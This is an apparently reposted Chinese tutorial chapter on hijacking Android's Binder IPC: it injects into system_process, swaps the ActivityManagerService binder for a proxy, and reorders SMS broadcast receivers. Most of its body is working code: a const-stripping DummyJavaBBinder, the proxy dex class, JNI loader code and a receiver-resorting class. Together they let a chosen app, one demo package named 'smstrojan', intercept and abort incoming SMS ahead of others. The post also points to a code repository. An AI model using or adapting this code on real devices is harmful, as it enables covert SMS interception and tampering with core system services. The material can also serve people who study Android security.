继续

在Android,几乎所有的IPC通讯都是通过Binder,可以说Binder在Android中占据着非常重要的地位。IPC通讯一般涉及client和server两部分,在Android上,所有Binder的serivce部分统称为NativeService(跟平时所说的Service组件不一样),一个NativeService可以跟多个client通讯,如果想更详细地了解这方面的内容可以到 老罗的博客睢睢。 在日常开发过程中, 我们经常会使用到的ActivityManager、PackageManager就是一个client的调用,只是本身封装得比较好,让你感觉不到。而Service部分的逻辑,主要集中在system_process和com.android.phone这两个进程里头。 broadcastIntent是ActivityManagerService(AMS)的一个方法,AMS的宿主进程是system_process,毫无疑问我们需要先注入到system_process进程,至于接下来怎么做呢,正是本章的内容。

BinderProxy


原理

所有NativeService都继承到IBinder接口,BinderProxy原理很简单,就是先到找到要代理的NativeService引用,再通过自己编写的ProxyBinder对象代理NativeService,从而达到截获IPC通讯的目的。下面我们以AMS为例,做一个说明:

AMS跟binder进行通讯,是通过JNI实现的。AMS继承Binder(IBinder的子类,封装了IPC通讯公共部分的逻辑),Binder里保存着一个类型为int的mObject的字段,这个字段正是其C++对象JavaBBinder对象的地址,这个JavaBBinder才是AMS最终跟内核通讯的对象。代码如下:
public class Binder implements IBinder {    //...    /* mObject is used by native code, do not remove or rename */    private int mObject; //这个对象保存的就是JavaBBinder的指针    private IInterface mOwner;    private String mDescriptor;    //...}
同样的,在JavaBBinder中,也保存着一个类型jobject的mObject,指向上层Java对象。看看JavaBBinder的代码:
class JavaBBinder : public BBinder{//...    jobject object() const    {        return mObject;    }    //...    private:        JavaVM* const   mVM;        jobject const   mObject; //这个保存的是AMS的引用    };}
Java和C++就是通过这两个字段相互连结在一起的。
其中JavaBBinder中的mObject是整个IPC关键的一节,所有的client请求,都是先到达JavaBBinder,然后JavaBBinder再通过JNI调用mObject的execTransact的方法,最终把请求发送到AMS。 因此,我们只要想办法找到AMS的对象的JavaBBinder,再把mObject替换为代理对象(记作ProxyBinder,一个Java对象的引用),即可实现BinderService代理,下面是示意图:

在实现这个代理,我们需要获取AMS和及对应用的JavaBBinder两个对象。


获取AMS引用

要获取AMS引用,通过ServiceManager即可,不过这类是隐藏类,通过反射才可以调用。通过ServiceManager.getService("activity")即可以拿到AMS。

获取JavaBBinder

通过前面的介绍,拿到AMS之后,就可以获取其mObject字段,这个对象正好就是JavaBBinder的地址。另外,也有一种比较简单的方式,那就是通过defaultServiceManager的getService方法获取到。

替换mObject对象

JavaBBinder的mObject对象并不能直接替换,因为mObject是const的,我写了一个DummyJavaBBinder的类,可以很容易地处理好这个问题,DummyJavaBBinder的实现如下:
class DummyJavaBBinder : public BBinder{public:virtual status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags = 0) {return NO_ERROR;}jobject object() const {return mObject;}JavaVM* javaVM() const {return mVM;}void changeObj(jobject newobj){const jobject* p_old_obj = &mObject;jobject* p_old_obj_noconst = const_cast(p_old_obj);*p_old_obj_noconst = newobj;}private:    JavaVM* const   mVM;    jobject const   mObject;};
这个类的作用主要添加了changeObj方法,主要功能是把mObject去掉const限制,并修改为的newobj。

示例四

示例四包含三部分代码,分别是com.demo.sms,com.demo.smstrojan,以及DemonInject3。 com.demo.sms和com.demo.smstrojan的逻辑是一样的,都是拦截短信,并打印短信内容,代码片断如下:
public final class SmsReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {Bundle bundle = intent.getExtras();if (bundle != null) {this.abortBroadcast();Object[] pdus = (Object[]) bundle.get("pdus");SmsMessage[] messages = new SmsMessage[pdus.length];for (int i = 0; i < pdus.length; i++) {messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);}for (SmsMessage message : messages) {String msg = message.getMessageBody();String to = message.getOriginatingAddress();Log.i("TTT", context.getPackageName() + " To:" + to + " Msg:" + msg);}}}}
DemoInject3相对复杂,包含dex和proxybinder(被注入的so)两部分。dex的逻辑是生成代理的proxybinder,并通过invoke返回给lib,lib再通过DummyJavaBBinder修改其mObject为proxybinder,关键代码如下
dex代码
package com.demo.inject3;import android.net.Uri;import android.os.Binder;import android.os.IBinder;import android.os.Parcel;import android.os.RemoteException;import android.util.Log;/** *  * @author boyliang *  */public final class EntryClass {private static final class ProxyActivityManagerServcie extends Binder {private static final String CLASS_NAME = "android.app.IActivityManager";private static final String DESCRIPTOR = "android.app.IActivityManager";private static final int s_broadcastIntent_code;private SmsReceiverResorter mResorter;static {if (ReflecterHelper.setClass(CLASS_NAME)) {s_broadcastIntent_code = ReflecterHelper.getStaticIntValue("BROADCAST_INTENT_TRANSACTION", -1);} else {s_broadcastIntent_code = -1;}}private IBinder mBinder;public ProxyActivityManagerServcie(IBinder binder) {mBinder = binder;mResorter = new SmsReceiverResorter(binder);}@Overrideprotected boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {if (code == s_broadcastIntent_code) {mResorter.updatePriority("com.demo.sms");}return mBinder.transact(code, data, reply, flags);}}public static Object[] invoke(int i) {IBinder activity_proxy = null;try {activity_proxy = new ProxyActivityManagerServcie(ServiceManager.getService("activity"));Log.i("TTT", ">>>>>>>>>>>>>I am in, I am a bad boy 3!!!!<<<<<<<<<<<<<<");} catch (Exception e) {e.printStackTrace();}return new Object[] { "activity", activity_proxy };}}
看到onTransact中code的过滤处理,当code==s_broadcastIntent_code时,证明有client调用了sendBroadcast方法了,然后马上调用SmsReceiverRestorter中的updatePriority方法。 最后invoke返回的是一个Object数组,分别是"activity"字符串和activity_proxy对象,再看看proxybinder.cpp的中调用invoke方法的处理:
jmethodID invoke_method = jni_env->GetStaticMethodID(entry_class, "invoke", "(I)[Ljava/lang/Object;");check_value(invoke_method);jobjectArray objectarray = (jobjectArray) jni_env->CallStaticObjectMethod(entry_class, invoke_method, 0);check_value(objectarray);jsize size = jni_env->GetArrayLength(objectarray);sp servicemanager = defaultServiceManager();for (jsize i = 0; i < size; i += 2) {jstring name = static_cast(jni_env->GetObjectArrayElement(objectarray, i));jobject obj = jni_env->GetObjectArrayElement(objectarray, i + 1);const char* c_name = jni_env->GetStringUTFChars(name, NULL);DummyJavaBBinder* binder = (DummyJavaBBinder*) servicemanager->getService(String16(c_name)).get();binder->changObj(jni_env->NewGlobalRef(obj));}
lproxybinder.cpp中根据invoke返回的数组进行处理。 至此,整个BinderProxy技术的技术已经介绍完毕了,接下来看看SmsReceiverRestorter的代码,这个类主要是负责修改广播的发送顺序。跟广播发送顺序有关的变量位置ActivityManagerService.mReceiverResolver.mActionToFilter,其定义如下为private final HashMap> mActionToFilter。其中key是action,value是各个broadcast中的intentfilter描述,这个value本身是一个List,其顺序即为广播的发送顺序,调整这个顺序即可,见代码;
final class SmsReceiverResorter {private static final String[] sActions = { "android.provider.Telephony.SMS_RECEIVED", "android.provider.Telephony.SMS_RECEIVED2", "android.provider.Telephony.GSM_SMS_RECEIVED" };private final String TAG = "SmsReceiverResorter";private HashMap> mActionToFilter;private Field mPackageNameField;@SuppressWarnings("unchecked")public SmsReceiverResorter(IBinder am) {Class<?> claxx = am.getClass();try {Field field = claxx.getDeclaredField("mReceiverResolver");field.setAccessible(true);Object mReceiverResolver = field.get(am);claxx = mReceiverResolver.getClass();field = claxx.getSuperclass().getDeclaredField("mActionToFilter");field.setAccessible(true);mActionToFilter = (HashMap>) field.get(mReceiverResolver);} catch (Exception e) {Log.e(TAG, e.toString());}}/** * 修改优先级 */public void updatePriority(String target_pkg) {if (mActionToFilter != null) {for (String action : sActions) {@SuppressWarnings("unchecked")ArrayList filters = (ArrayList) mActionToFilter.get(action);if (filters != null) {Log.i("TTT", "send sms broadcast");IntentFilter filter = null;for (IntentFilter f : filters) {String pkg = getPackageName(f);if (target_pkg.equals(pkg)) {filter = f;break;} }// 调整顺序if (filter != null && filters.remove(filter) ) {filters.add(0, filter);filter = null;Log.i("TTT", target_pkg + " is the first now");}}}}}private String getPackageName(IntentFilter filter) {if (mPackageNameField == null && filter != null) {Class<?> claxx = filter.getClass();try {mPackageNameField = claxx.getDeclaredField("packageName");mPackageNameField.setAccessible(true);} catch (Exception e) {Log.e(TAG, e.toString());}}String result = null;if (filter != null) {try {result = (String) mPackageNameField.get(filter);} catch (Exception e) {Log.e(TAG, e.toString());}}return result;}}


最后

这次的示例代码有点多,我已经上传至https://github.com/boyliang/Hijack_AMS_broadIntent。 通过上面的方法,无论com.demo.sms是怎样落后于sms.demo.smstrojan注册广播,都可以最先拦截到短信。
终于把这个方案讲解完了,累死。。。 谁能坚持看到这里,也算是一种缘分吧。 在下一章里,我会全面介绍AIM这个框架的实现细节,AIM框架对前面所提及的技术点做了一个很好的汇总。

更多相关文章

  1. Handler与异步消息处理
  2. 【Android】实现全屏、无标题栏效果
  3. Android(安卓)监听Home键按键事件
  4. Android中SQLite应用详解
  5. Android(安卓)之 AsyncTask 异步任务
  6. Android多个Activity切换时其生命周期中的方法执行顺序
  7. 浅谈Java中Collections.sort对List排序的两种方法
  8. 类和 Json对象
  9. Python list sort方法的具体使用

随机推荐

  1. Android 基于UDP的Socket通信
  2. Android 的GUI 系统
  3. Android Makefile中是 如何识别 TARGET_P
  4. 说说在 Android(安卓)中如何发送自定义广
  5. Android贪吃蛇(不是SDK带的那个Sample哦)
  6. Android 移动平台概述
  7. Android 播放mp3
  8. android APP安装支持安装到SDCard
  9. 更改android锁屏方向
  10. android入门1:有关布局与activity数据传递